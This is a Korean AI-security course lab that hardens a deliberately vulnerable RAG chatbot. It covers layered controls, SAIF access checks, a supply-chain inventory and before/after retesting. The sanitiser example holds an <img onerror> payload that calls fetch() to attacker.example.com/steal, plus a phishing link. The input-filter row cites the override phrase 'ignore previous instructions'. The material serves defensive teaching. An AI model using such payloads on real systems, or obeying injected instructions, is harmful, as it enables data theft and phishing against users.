본문으로 건너뛰기
Lab 9: 캡스톤 2개월차 — 보안 통제 설계와 공급망 보안 점검

Lab 9: 캡스톤 2개월차 — 보안 통제 설계와 공급망 보안 점검

이 실습은 12주(3개월) AI 보안 캡스톤 프로젝트의 2개월차입니다. Lab 8: 캡스톤 1개월차 — 취약한 RAG 챗봇 구축과 1차 공격에서 정의한 위험 표면을 바탕으로, 입력/모델/출력/툴 실행 계층별 보안 통제를 설계하고, Google SAIF 관점에서 데이터·모델·저장소·서빙 접근통제를 점검합니다. 이어서 AI 공급망 인벤토리를 작성하고 Lab 7: AI 모델 공급망 보안 점검을 적용한 뒤, 통제를 반영한 v2를 재배포해 1개월차와 동일한 공격 세트로 개선 전/후를 비교합니다. 다음 단계는 Lab 10: 캡스톤 3개월차 — 위협모델링·레드팀 리포트·사고대응입니다.

2개월차의 목표는 “완전히 안전한 시스템"을 만드는 것이 아닙니다. Lab 8에서 발견한 공격 중 일부는 통제를 추가해도 완전히 막히지 않을 수 있습니다. 이번 실습을 마칠 때는 “이 시스템은 안전하다"가 아니라 “이 공격은 완화됐고, 이 공격은 아직 남아있다” 형태로 결과를 정리하는 습관을 들이는 것이 핵심 목표입니다.

목표

  • 입력/모델/출력/툴 실행 계층별 통제를 설계하고, Lab 8에서 성공한 공격 3~4종에 대한 방어 논리를 설명한다.
  • SAIF 관점(데이터, 프레임워크/코드, 저장, 서빙)에서 접근통제·비밀정보 관리·로그 내 민감정보 노출 여부를 점검하고 체크리스트를 작성한다.
  • AI 공급망(모델, 임베딩, 벡터DB, 외부 라이브러리, 문서 수집기) 인벤토리를 작성하고 Lab 7의 점검을 적용해 의존성 위험 1개 이상에 대한 대응책을 작성한다.
  • 통제를 반영한 v2를 만들고, Lab 8과 동일한 공격 세트로 개선 전/후 결과를 비교한다.
보안 통제를 추가한 뒤에도 “공격이 완전히 사라졌다"고 단정하지 마세요. 이번 실습의 결과표는 항상 세 가지 범주 — 완전히 막힌 공격 / 부분적으로 완화된 공격 / 여전히 남은 공격 — 로 정리하는 것을 목표로 합니다. 이 구분 자체가 8주차의 핵심 산출물입니다.

사전 준비

이 실습은 Lab 8에서 만든 취약한 RAG 챗봇 코드(벡터스토어, 악성 문서, 질의 함수, 도구 실행 함수)를 그대로 이어서 사용합니다. 패키지도 Lab 8 및 Lab 7과 동일합니다.

# Lab 8을 완료했다면 별도 설치는 필요 없습니다.
# 7주차에서 Lab 7을 적용하기 위해 아래 패키지만 추가로 필요할 수 있습니다.
pip install pip-audit cyclonedx-bom

단계별 실행

5주차: 프롬프트·출력·권한 통제

목표해야 할 일산출물통과 기준
계층별 위협-통제 매핑 정리입력/모델/출력/툴 실행 4개 계층에서 Lab 8의 위험을 다시 정리하고, 계층별 통제를 표로 작성계층별 통제 목록 표4개 계층 모두 최소 1개 이상의 구체적 통제와 구현 위치가 적혀 있다
출력 후처리 구현모델 응답을 그대로 렌더링/실행하지 않고 검증·이스케이프하는 후처리 함수 작성sanitize_output() 함수악성 HTML/마크다운 링크가 포함된 응답을 넣었을 때 안전한 형태로 변환됨을 확인
툴 실행 승인 단계 구현Excessive Agency 대응으로 allowlist 검사 + 사용자 확인 단계를 추가confirm_and_run_tool() 함수(의사코드)allowlist 외 명령은 즉시 차단, allowlist 내 명령은 확인 단계를 거쳐야 실행됨
통제-공격 매핑Lab 8의 공격 시나리오 3~4개를 골라 어떤 통제가 어떤 공격을 막는지 매핑통제-공격 매핑 표각 공격 시나리오에 최소 1개 이상의 대응 통제가 매핑되어 있다

계층별 통제 목록 템플릿

계층위협통제 방법구현 위치
입력 계층직접 프롬프트 인젝션(시스템 프롬프트 변경 시도, 역할극 기반 탈옥)입력 길이 제한, 의심 패턴(예: “이전 지시를 무시하라”) 키워드 필터링, 사용자 입력과 시스템 프롬프트의 구분자 명시RAG 챗봇의 ask() 함수 진입부
모델 계층시스템 프롬프트 유출, 민감정보(관리자 이메일 등) 응답 포함시스템 프롬프트에 민감정보 직접 포함하지 않기, 별도 비밀정보 저장소 참조로 분리시스템 프롬프트 정의 부분
출력 계층마크다운/HTML 인젝션(<img onerror>, 피싱 링크), 응답 내 외부 URL 자동 생성출력 후처리에서 HTML 이스케이프, 허용된 도메인 외 링크 제거 또는 텍스트화응답을 사용자/UI에 반환하기 직전
툴 실행 계층Excessive Agency — 모델이 생성한 명령을 검증 없이 그대로 실행실행 가능한 명령 allowlist, 실행 전 사용자 확인(step confirmation), 실행 결과 로깅도구 실행 래퍼 함수
(선택) 검색 계층간접 프롬프트 인젝션 문서가 컨텍스트로 주입됨검색된 문서에 대한 별도 신뢰 표시(예: [문서 내용]과 [지시]를 명확히 분리하는 프롬프트 템플릿)컨텍스트 조립(prompt 구성) 함수

(a) 출력 후처리 — 모델 응답 검증/이스케이프

import html
import re

# 응답에 포함되어도 되는 외부 링크 도메인만 허용
ALLOWED_LINK_DOMAINS = {"intranet.example.com"}

LINK_PATTERN = re.compile(r"https?://([^\s/]+)[^\s)]*")


def sanitize_output(text: str) -> str:
    """모델 응답을 셸/SQL/HTML로 그대로 전달하기 전에 검증·이스케이프한다."""
    # 1. HTML 태그/속성을 이스케이프하여 <img onerror=...> 등이
    #    그대로 렌더링되지 않도록 한다.
    escaped = html.escape(text)

    # 2. allowlist에 없는 도메인으로 향하는 링크는 텍스트로만 남기고
    #    클릭 가능한 형태(자동 링크)로 변환되지 않도록 마킹한다.
    def _check_link(match: "re.Match") -> str:
        domain = match.group(1)
        if domain in ALLOWED_LINK_DOMAINS:
            return match.group(0)
        return f"[차단된 외부 링크: {domain}]"

    return LINK_PATTERN.sub(_check_link, escaped)


# 사용 예
raw_response = (
    '회의실 예약 안내입니다. <img src=x onerror="fetch(\'https://attacker.example.com/steal\')"> '
    "자세한 내용은 https://attacker.example.com/phish 를 참고하세요."
)
print(sanitize_output(raw_response))

(b) 툴 실행 전 승인 — allowlist + 사용자 확인

# 의사코드: Excessive Agency 대응 — 모델이 호출하려는 "도구/명령"을
# allowlist로 먼저 걸러내고, 통과한 경우에도 실행 전 사용자 확인을 요구한다.

ALLOWED_TOOLS = {"search_docs", "summarize_text"}  # 외부 시스템에 영향을 주지 않는 도구만 허용


def confirm_and_run_tool(tool_name: str, arguments: dict, user_confirm_fn) -> dict:
    # 1단계: allowlist 검사 — 목록 외 도구는 즉시 차단
    if tool_name not in ALLOWED_TOOLS:
        return {"status": "blocked", "reason": f"'{tool_name}'은 허용되지 않은 도구입니다."}

    # 2단계: 사용자 확인 — 모델이 자율적으로 실행하지 않고,
    #        실행 전에 사람이 의도와 인자를 확인할 기회를 제공
    summary = f"도구 '{tool_name}'을 다음 인자로 실행하려 합니다: {arguments}"
    if not user_confirm_fn(summary):
        return {"status": "cancelled", "reason": "사용자가 실행을 취소했습니다."}

    # 3단계: 실행 및 로깅 (실제 실행 로직은 별도 함수로 분리)
    result = run_tool_impl(tool_name, arguments)
    log_tool_execution(tool_name, arguments, result)
    return {"status": "executed", "result": result}

통제-공격 매핑 표

Lab 8에서 성공했던 공격 시나리오를 가져와, 5주차에서 추가한 통제 중 무엇이 이를 막는지 매핑합니다.

Lab 8 공격 시나리오관련 통제기대 효과
TC-1: 시스템 프롬프트 유출(간접 인젝션 문서)입력 계층 키워드 필터링 + 시스템 프롬프트에서 민감정보 분리인젝션 문구가 검색되어도 시스템 프롬프트 자체에 노출시킬 정보가 없음
TC-2: 대화 요약의 외부 URL 유출출력 계층 링크 allowlist(sanitize_output)모델이 생성한 외부 URL이 차단 표시로 대체됨
TC-4/TC-5: 마크다운/HTML 인젝션(<img onerror>, 피싱 링크)출력 계층 HTML 이스케이프<img onerror=...>가 실행 가능한 태그가 아닌 일반 텍스트로 표시됨
(Excessive Agency) 모델이 임의 명령/도구를 실행하도록 유도하는 인젝션툴 실행 계층 allowlist + 사용자 확인allowlist 외 도구는 차단, allowlist 내 도구도 사용자 확인 없이는 실행되지 않음

6주차: 데이터·모델·저장소 보안 (SAIF 관점)

목표해야 할 일산출물통과 기준
SAIF 4개 영역 점검데이터/프레임워크·코드/저장/서빙 영역별로 RAG 챗봇의 접근통제·비밀정보 관리·로그를 점검SAIF 점검 체크리스트 표4개 영역 모두 2개 이상의 점검 항목과 확인 방법, 결과가 채워져 있다
서빙 계층에 인증/입력검증 적용Lab 4의 패턴을 RAG 챗봇 API에 적용적용 결과 메모 (또는 코드 diff)RAG 질의 엔드포인트가 인증 헤더를 요구하고, 입력 스키마 검증을 수행함을 확인
로그 내 민감정보 점검챗봇 로그에 시스템 프롬프트, 사용자 질문, API 키 등이 평문으로 남는지 확인로그 점검 결과 기록로그에서 발견된 민감정보 항목과 마스킹/제거 여부가 기록되어 있다

SAIF 점검 체크리스트 표

영역점검 항목확인 방법결과
데이터문서 저장소(원본 문서 디렉터리)의 파일 접근 권한이 필요한 사용자/프로세스로만 제한되어 있는가ls -l로 권한 확인, RAG 프로세스 실행 계정과 일치 여부 점검(점검 후 기록)
데이터벡터DB(예: FAISS 인덱스 파일)의 접근자가 RAG 애플리케이션 프로세스로 제한되어 있는가인덱스 파일 권한 확인, 인덱스를 직접 로드해 임베딩/원문 추출이 가능한지 테스트(점검 후 기록)
프레임워크·코드API 키(LLM, 임베딩 서비스 등)가 코드에 하드코딩되지 않고 환경변수/시크릿 관리로 분리되어 있는가코드 전체에서 sk-, API_KEY= 등 패턴 grep(점검 후 기록)
프레임워크·코드사용 중인 LangChain/임베딩 라이브러리 버전에 알려진 취약점이 있는가pip show로 버전 확인 후 7주차 pip-audit 결과와 연계(점검 후 기록)
저장RAG 챗봇 로그(질의/응답/검색된 문서)에 PII나 시스템 프롬프트 전체가 평문으로 기록되는가로그 파일 샘플을 열어 시스템 프롬프트/사용자 식별 정보 포함 여부 확인(점검 후 기록)
저장모델/임베딩 가중치 파일이 평문으로 저장되어 누구나 복사 가능한가파일 권한 확인, Lab 7의 체크섬 기록 여부 확인(점검 후 기록)
서빙RAG 질의 엔드포인트가 인증(API 키 등) 없이 호출 가능한가인증 헤더 없이 curl 호출 시 401/403 반환 여부 확인(점검 후 기록)
서빙잘못된 입력(빈 질의, 과도하게 긴 입력)에 대해 디버그 정보가 노출되는가비정상 입력으로 호출 후 응답에 스택트레이스/내부 경로 포함 여부 확인(점검 후 기록)

Lab 4에서 다룬 인증 헤더 검증, Pydantic 입력 스키마 강제, 디버그 모드 비활성화 패턴을 이 RAG 챗봇의 질의 엔드포인트에도 동일하게 적용합니다. app_secure.py의 X-API-Key 검증과 conlist 기반 입력 검증 구조를 그대로 가져와 질의 요청(question)에 맞게 변형하면 됩니다.

7주차: 공급망과 의존성 검토

목표해야 할 일산출물통과 기준
AI value chain 인벤토리 작성RAG 챗봇을 구성하는 모델/임베딩/벡터DB/라이브러리/수집기를 모두 나열하고 출처·위험·대응책 정리AI value chain 인벤토리 표5개 이상의 구성요소가 출처/알려진 위험/대응책과 함께 기록되어 있다
Lab 7 적용Lab 7의 4단계(pip-audit, SBOM, 체크섬, 모델 카드)를 RAG 챗봇 프로젝트 전체에 대해 실행sbom.json, provenance.json, model-card.yaml (RAG 챗봇 버전)4개 산출물이 모두 생성되고, 의존성 위험 1개 이상에 대한 대응책이 작성되어 있다

AI value chain 인벤토리 템플릿

구성요소 유형이름·버전출처알려진 위험대응책
LLM(예: gpt-4o-mini 또는 로컬 Llama 계열, 버전/태그 명시)OpenAI API 또는 Ollama 모델 레지스트리모델 자체의 프롬프트 인젝션 취약성, API 키 유출 시 과금/오남용API 키를 환경변수로 분리, 사용량 알림 설정, 시스템 프롬프트에 민감정보 미포함
임베딩 모델sentence-transformers/all-MiniLM-L6-v2Hugging Face Hub모델 카드 미검증 시 의도하지 않은 라이선스/데이터 출처 문제모델 카드 확인, 다운로드 시점 체크섬 기록
벡터DBFAISS (로컬 인덱스 파일)PyPI faiss-cpu 패키지인덱스 파일 직접 접근 시 임베딩/원문 추출 가능인덱스 파일 접근 권한 제한, 6주차 SAIF 점검과 연계
핵심 라이브러리langchain, langchain-community (버전 명시)PyPI빠른 버전 변경, 알려진 CVE 가능성pip-audit로 정기 점검, 버전 고정(pin)
문서 수집기(예: 사내 위키 크롤러 또는 로컬 파일 로더 스크립트)자체 작성 코드외부 데이터 소스를 “신뢰 가능한 컨텍스트"로 취급 → 간접 프롬프트 인젝션 경로수집 시점에 출처 메타데이터 기록, 신뢰도가 낮은 소스는 별도 표시
(선택) 텍스트 분할기RecursiveCharacterTextSplitter (langchain 일부)PyPI(langchain 패키지에 포함)핵심 라이브러리와 동일한 의존성 위험에 포함됨핵심 라이브러리 점검에 포함하여 관리

이제 Lab 7: AI 모델 공급망 보안 점검을 이 RAG 챗봇 프로젝트에 대해 실행하세요. Lab 7의 4단계를 다시 떠올리면:

  1. pip-audit으로 RAG 챗봇 프로젝트의 의존성(langchain, faiss-cpu, sentence-transformers 등) 취약점을 스캔합니다.
  2. cyclonedx-py로 RAG 챗봇 프로젝트 환경의 SBOM(sbom.json)을 생성합니다.
  3. 임베딩 모델 파일/벡터DB 인덱스 파일의 SHA256 체크섬을 계산해 provenance.json에 기록합니다.
  4. 위 정보를 종합해 RAG 챗봇용 model-card.yaml(또는 rag-card.yaml)을 작성합니다.

8주차: 개선 버전 재배포 및 비교

목표해야 할 일산출물통과 기준
v2 통합5~7주차에서 설계/적용한 통제를 모두 반영한 RAG 챗봇 v2를 구성v2 코드(rag_chatbot_v2.py 등)v1과 비교해 변경된 영역이 표로 정리되어 있다
동일 공격 세트 재실행Lab 8과 동일한 공격 시나리오(TC-1~TC-5 등)를 v2에 대해 재실행재실행 결과 기록모든 시나리오에 대해 Before/After 판정이 기록되어 있다
개선 전/후 비교Before(Lab 8 v1)와 After(v2)의 결과를 비교 표로 정리개선 전/후 비교 표완전히 막힌 공격/부분 완화/여전히 남은 공격이 구분되어 있다

5~7주차 변경사항 요약

변경 영역Before (Lab 8 v1)After (v2)
입력 처리사용자 입력을 검증 없이 그대로 프롬프트에 삽입길이 제한 + 의심 패턴 필터링 추가
시스템 프롬프트관리자 이메일 등 민감정보를 시스템 프롬프트에 직접 포함민감정보 제거, 별도 비밀정보 저장소로 분리
출력 처리모델 응답을 그대로 반환/렌더링sanitize_output()으로 HTML 이스케이프 + 링크 allowlist 적용
툴 실행(해당 시) 모델이 제안한 명령/도구를 즉시 실행allowlist 검사 + 사용자 확인 단계 추가
서빙 엔드포인트인증 없음, 입력 스키마 검증 없음API 키 인증 + Pydantic 입력 검증 (Lab 4 패턴)
의존성/저장소점검 이력 없음pip-audit, sbom.json, provenance.json, model-card.yaml 작성

개선 전/후 비교 표 템플릿

Lab 8의 공격 시나리오 ID(TC-1, TC-2, … 형식)를 기준으로 작성합니다.

시나리오 IDBefore 판정 (Lab 8 v1)After 판정 (v2)비고
TC-1 (시스템 프롬프트 유출)(Lab 8 결과 그대로 옮김)완전히 막힘 / 부분 완화 / 여전히 남음 중 택1어떤 통제가 영향을 줬는지 한 줄로 기록
TC-2 (대화 요약 외부 URL 유출)(Lab 8 결과)(판정)
TC-3 (인젝션 인식 여부)(Lab 8 결과)(판정)
TC-4 (마크다운/HTML 인젝션)(Lab 8 결과)(판정)
TC-5 (출력 렌더링 환경 점검)(Lab 8 결과)(판정)
(Excessive Agency 시나리오, 있다면)(Lab 8 결과)(판정)

결과 확인

8주차의 개선 전/후 비교 표를 채울 때는 아래 기준으로 판정을 구분하세요.

  • 완전히 막힌 공격: v2에서 해당 시나리오를 재실행했을 때, 인젝션 문구나 악성 출력이 응답에 전혀 반영되지 않고 통제(필터링/이스케이프/차단)가 명확히 동작한 경우.
  • 부분적으로 완화된 공격: 인젝션 문구가 일부 응답에 영향을 주거나, 통제가 동작했지만 우회 가능한 변형이 존재하는 경우. (예: HTML 이스케이프는 됐지만 텍스트로 노출된 URL은 여전히 사용자가 수동으로 복사해 접속할 수 있음)
  • 여전히 남은 공격: v2에서도 동일하게(또는 유사하게) 공격이 성공하는 경우. 이 항목은 Lab 10의 위협모델링/레드팀 리포트에서 우선적으로 다룰 대상으로 표시해 둡니다.

세 범주로 명확히 구분해 기록하는 것이 이번 단계의 핵심입니다. “거의 다 막혔다"처럼 모호한 표현 대신, 시나리오별로 위 세 범주 중 하나를 명시하세요.

체크리스트

  • 입력/모델/출력/툴 실행 4개 계층의 통제 목록 표를 작성했다.
  • sanitize_output() 함수로 악성 HTML/링크가 안전한 형태로 변환됨을 확인했다.
  • confirm_and_run_tool() 패턴으로 allowlist 외 도구 차단과 사용자 확인 단계를 구현했다.
  • Lab 8의 공격 시나리오 3~4개를 통제와 매핑한 표를 작성했다.
  • SAIF 4개 영역(데이터/프레임워크·코드/저장/서빙) 체크리스트를 작성하고, Lab 4 패턴을 서빙 계층에 적용했다.
  • AI value chain 인벤토리(5개 이상 구성요소)를 작성하고 Lab 7의 4단계(pip-audit, SBOM, 체크섬, 모델 카드)를 RAG 챗봇 프로젝트에 적용했다.
  • 5~7주차 변경사항을 v1 대비 v2 요약 표로 정리했다.
  • 동일 공격 세트로 v1/v2를 비교하고, 각 시나리오를 “완전히 막힘/부분 완화/여전히 남음"으로 구분해 기록했다.

학습효과

  • 계층형 방어(Defense in Depth) 설계: 입력/모델/출력/툴 실행이라는 4개 계층에 각각 독립적인 통제를 배치함으로써, 하나의 통제가 우회되어도 다른 계층에서 공격을 완화할 수 있는 구조를 직접 설계하고 구현합니다.
  • SAIF 기반 운영 보안 점검: Google SAIF의 데이터/프레임워크·코드/저장/서빙 관점을 적용해, 모델 자체의 정확성과 무관하게 운영 환경(접근통제, 비밀정보 관리, 로그)에서 발생하는 위험을 체계적으로 점검하는 습관을 갖춥니다.
  • “완화"와 “해결"의 구분: 보안 통제를 추가한 뒤에도 모든 공격이 사라지지 않는다는 것을 직접 확인하고, 결과를 “완전히 막힘/부분 완화/여전히 남음"으로 정직하게 기록하는 레드팀/블루팀 보고의 기본 원칙을 익힙니다.

더 살펴보기